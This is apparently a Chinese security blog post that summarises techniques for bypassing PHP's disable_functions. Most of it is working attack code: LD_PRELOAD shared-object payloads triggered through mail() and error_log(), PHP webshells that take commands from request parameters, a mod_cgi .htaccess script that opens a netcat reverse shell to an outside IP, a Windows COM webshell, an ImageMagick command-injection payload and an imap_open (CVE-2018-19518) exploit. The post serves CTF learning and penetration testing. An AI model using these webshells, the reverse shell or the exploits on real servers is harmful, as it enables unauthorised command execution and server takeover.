前言

PHP 的 disabled_functions主要是用于禁用一些危险的函数防止攻击者执行系统命令。但是有一些绕过方法。这里做个总结。

基本思路

有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),imap_open逐一尝试,或许有漏网之鱼;第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

利用LD_PRELOAD劫持系统函数

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,
它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加
载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通
过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖
正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码)
,而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

通俗的讲:LD_PRELOAD 是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。

其实现方式是通过在其它动态链接库之前提前被加载了我们构造的恶意动态链接库。

利用方式:我们写一个动态链接库覆盖该php函数调用的系统命令的某个函数,putenv设置优先加载我们的动态链接库。我们就可以覆盖该系统函数从而执行命令。

putenv+mail

putenv ( string $setting ) : bool
添加setting到服务器环境。环境变量仅在当前请求的持续时间内存在。在请求结束时,环境将恢复到其原始状态。

如果该函数未被ban掉的话,即使是禁用了其它常见的函数,也可能会导致我们执行命令。
操作步骤:

  1. 生成一个我们的恶意动态链接库文件
  2. 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
  3. 配合php的某个函数去触发我们的恶意动态链接库文件
  4. Getshell

我们发现mail()函数可以使用,而mail()函数执行默认是会调用外部程序sendmail的,看一下php.ini就会发现默认调用sendmail -t -i

然后就可以编写我们的动态链接库文件。

文件名: alex.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls > alex");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

然后生成我们的动态链接程序

gcc -c -fPIC alex.c -o alex

gcc -shared alex -o alex.so

然后编写php脚本mail.php

文件名: alex.php
<?php
putenv("LD_PRELOAD=./alex.so");
mail("","","","","");
?>

执行一下

php -f alex.php

可以发现成执行了我们的命令,把命令结果写到了alex中了。

alex ➜ ~  ls
alex      alex.so alex.c   alex.php  
alex ➜ ~  cat alex
alex
alex.c
alex.php
alex.so

sendmail二进制文件中使用了getuid库函数,这样我们可以覆盖getuid函数。写一个getuid函数,内容为用system函数运行环境变量中的某个参数。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int  getuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}

写一个php文件,用putenv添加环境变量(一个是上传的so库地址、一个是要执行的命令)。将system命令输出内容写入指定文件,到时候读出就行。

<?php
    $cmd = $_REQUEST["cmd"];
    $out_path = $_REQUEST["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_REQUEST["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";  
?>

使用方式参见【2019极客大挑战RCE ME】

putenv+error_log

当mail函数被ban了,可以使用error_log来bypass。

error_log(error,type,destination,headers)

当type为1时,服务器就会把error发送到参数 destination 设置的邮件地址

error_log调用的过程中(当type为1时)和mail函数一样,是调用sendmail命令。

动态链接库文件同上
php脚本稍作改变:

<?php
putenv("LD_PRELOAD=./alex.so");
error_log("alex",1,"","");
?>

即可实现案例。
覆盖getuid函数的动态链接库文件也不变。
只需稍微改一下php文件:

<?php
    $cmd = $_REQUEST["cmd"];
    $out_path = $_REQUEST["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_REQUEST["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    error_log("alex",1, "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";  
?>

使用方式和上面一样。

无需劫持函数,加载动态链接库即可执行

如果系统没有安装sendmail或者禁用了,上面的办法就无法再使用了。不过有师傅发现不劫持特定函数也能执行命令。详情:无需sendmail:巧用LD_PRELOAD突破disable_functions

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。
用 LD_PRELOAD 手法突破 disable_functions 不要局限于仅劫持某一函数,而应考虑劫持共享对象。

动态库payload改为:

文件名:bypass_disablefunc.c
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void getuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}

接着,用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.sobypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so
你要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。
只需要PHP 支持putenv()、mail() 即可,甚至无需安装 sendmail。
php文件使用mail函数那个即可。

apache mod_cgi模式

php在apache中的三种工作方式:CGI模式、FastCGI模式、apache handler。参考:## PHP目前比较常见的五大运行模式
而这种攻击要求的就是具体在apache服务器的情况下,CGI模式才可以。
在phpinfo中看到
MT0tj1.png
就可以确定是以cgi模式运行。
CGI模式下,每接受一个用户请求,apache都会fork一个进程运行CGI程序解析php脚本,在.htaccess中我们设置允许在web目录运行CGI程序,然后上传一个shell命令文件上去,执行就可以反弹一个shell了。
要求:

  1. apache且运行mod_cgi模式
  2. web目录可写
  3. 允许.htaccess生效
    在.htaccess 中添加以下内容,指定.dazzle为结尾的文件为CGI脚本程序并且允许本目录执行,我们只要同时上传一个.dazzle的shell就可以了。

有师傅已写好了payload:

<?php
$cmd = "nc -c '/bin/bash' 172.16.15.1 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
        echo "Error. All of the above must be true for the script to work!"; //abort if not
    }
    else
    {
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
    }
}
?>

系统组件绕过

window com组件(php 5.4及以下默认开启)(高版本扩展要自己添加)
添加方法:
在php相应版本下ext查找php_com_dotnet.dll,一般都会有。没有的话,下载添加到ext目录下。
查看php.ini中是否已经开启了com.allow_dcom = true

然后在查找php.ini里面查找下extension=php_com_dotnet.dll把前面的#号或;号去掉。
如果没有找到,添加上extension=php_com_dotnet.dll即可。
然后重启apache。
然后查看phpinfo();
如果有
MTvuKH.png
说明添加成功。
如果com组件开启着可以利用shell上传文件

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

成功绕过disfunction执行命令:
M7E4w8.png

利用ImageMagick漏洞绕过disable_function

环境搭建

apt-get update&&apt-get install imagemagick
convert -version //如果安装成功会返回imagemagick版本号

apt-get install php-pear php-dev
apt-get install libmagickwand-dev

1.wget http://pecl.php.net/get/imagick-3.4.3.tgz
2.tar -zxvf imagick-3.4.3.tgz
cd imagick-3.4.3

phpize

./configure --with-php-config=/usr/bin/php-config --with-imagick=/usr/local/imagemagick //注意php-config可能会不同,要根据你具体的情况来修改

make&&make install

改一波php.ini,随便一行添加:extension = imagick.so 重启apache2服务。

然后php -r "phpinfo();"|grep imagick,看有没有安装成功

安装成功后:
M7w25D.png

然后安装ffmpeg

apt-get install ffmpeg
ffmpeg -v 看看是否安装成功

利用

可以知道当Imagick处理的文件是如下后缀的时候,就会调用外部程序ffmpeg去处理该文件。

wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp

例子:

<?php
$img = new Imagick('a.mp4');    //a.mp4文件必须存在,否则就会不去调用ffmpeg
?>

这里我看的也不是太懂,挖坑,以后补。
payload:

<?php
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";

$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
pop graphic-context
EOF;

file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();

echo file_get_contents($data_file);
?>

利用imap_open(CVE-2018-19518)

CVE-2018-19518的环境可以直接使用vulhub上的环境:链接

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)

ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
即使是ssh连接失败了,但是命令还是能执行。

exp:

<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>

参考文章

Bypass disabled_functions一些思路总结
PHP绕过disable_function 总结与实践
PHP Webshell下绕过disable_function的方法

  • RCE提高篇

    前言首先,需要了解一下命令执行的函数,这里推荐几篇文章,来认识这些函数。浅谈eval和assert从底层分析eval和assert的区别命令执行与代码执行的小结巧用命令注入的N种方式命令注入绕过姿势我就不在说这几个东西,大牛们都说的很...

    RCE提高篇
  • php代码审计之文件包含

    文件包含文件包含分为本地文件包含(Local File Inclusion,简LFI)和远程文件包含(Remote File Inclusion,简RFI)。 在php中常见的文件包含函数有: include() include_on...

    php代码审计之文件包含
  • 文件上传漏洞

    前言我是根据upload-lab来总结文件上传漏洞。思维导图: pass-01提示:在客户端使用js对不合法图片进行检查!所以我们可以通过抓包,改包就可以绕过。。。 pass-02提示:服务端对数据包的MIME进行检查! 这里是对Co...

    文件上传漏洞
  • sql注入知识总结

    前言最近,感觉知识学的有点混乱,来整理一波自己的知识。先总结一下sql注入吧。 知识储备sql注入中常用到的库和表information_schema库 这个数据库中保存着mysql服务器所保存的所有的其他数就库的信息,如数据库名,...

    sql注入知识总结
  • linux基本操作

    centos常用命令及快捷键整理常用linux命令文件和目录cd /home 进入 '/home' 目录 cd .. 返回上一...

    linux基本操作
  • linux查看系统信息

    linux系统下经常查看各种信息,总结一下。 系统uname -a # 查看内核/操作系统/CPU信息 head -n 1 /etc/issue # 查看操作系统版本 cat /etc/issue | ...

    linux查看系统信息
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 计算机组成原理学习

    计算机组成原理第一章 计算机系统概论计算机系统的层次结构 冯·诺依曼计算机的特点 计算机由运算器、存储器、控制器、输入设备和输出设备五大部件组成 指令(程序)和数据以二进制同等地位地存储在存储器中,可按址寻访 指令由操作码和地址码组...

    计算机组成原理学习
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解